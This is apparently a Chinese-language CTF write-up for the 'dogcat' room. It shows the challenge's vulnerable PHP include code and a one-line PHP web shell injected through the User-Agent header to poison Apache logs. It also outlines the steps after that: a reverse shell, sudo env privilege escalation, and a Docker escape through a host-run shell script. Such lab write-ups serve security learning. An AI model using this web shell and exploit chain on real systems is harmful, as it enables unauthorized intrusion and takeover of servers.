Skip to content
Stack Ashes
Go back

dogcat

从本地文件包含到getshell

题目概述

难度:中 描述:我创建了一个网站,您可以在其中查看狗和/或猫的照片!通过 LFI 利用 PHP 应用程序并突破 Docker 容器。


基本信息

🚀本地机器信息目标机器信息
IP10.17.5.12110.10.200.120
OSkalilinux

信息搜集

  1. 端口扫描 22,80
  2. 路径探测
  3. 服务枚举 无

渗透思路

攻击向量

80端口web服务为攻击点 猜测

$dir = $_GET["view"] .'.php';
include($dir);

payload

 <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; //不传递ext 默认为php文件 读取passwd 需要传递 ext
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

<?php system($_GET['cmd']);?>

user-agent 利用

nday利用

信息审计

漏洞利用

getshell

反弹webshell

提权

https://gtfobins.github.io/gtfobins/env/#shell 值得注意的是这是个docker 环境

宿主主机会这些这个bashup.sh 可以尝试把revbash 加到sh文件

知识点回顾

思路总结下:

利用点: 本地文件包含 LFI 目录确定 后读取index文件,进行代码审计非php文件需要读取传参ext 读取apache2 /nginx 的访问文件,然后修改useragent 头注入一句话木马,然后反弹shell 容器内提权 sudo env docker 逃逸 sh脚本反弹shell

总结


Share this post on:

Previous Post
anonymous
Next Post
tex2shell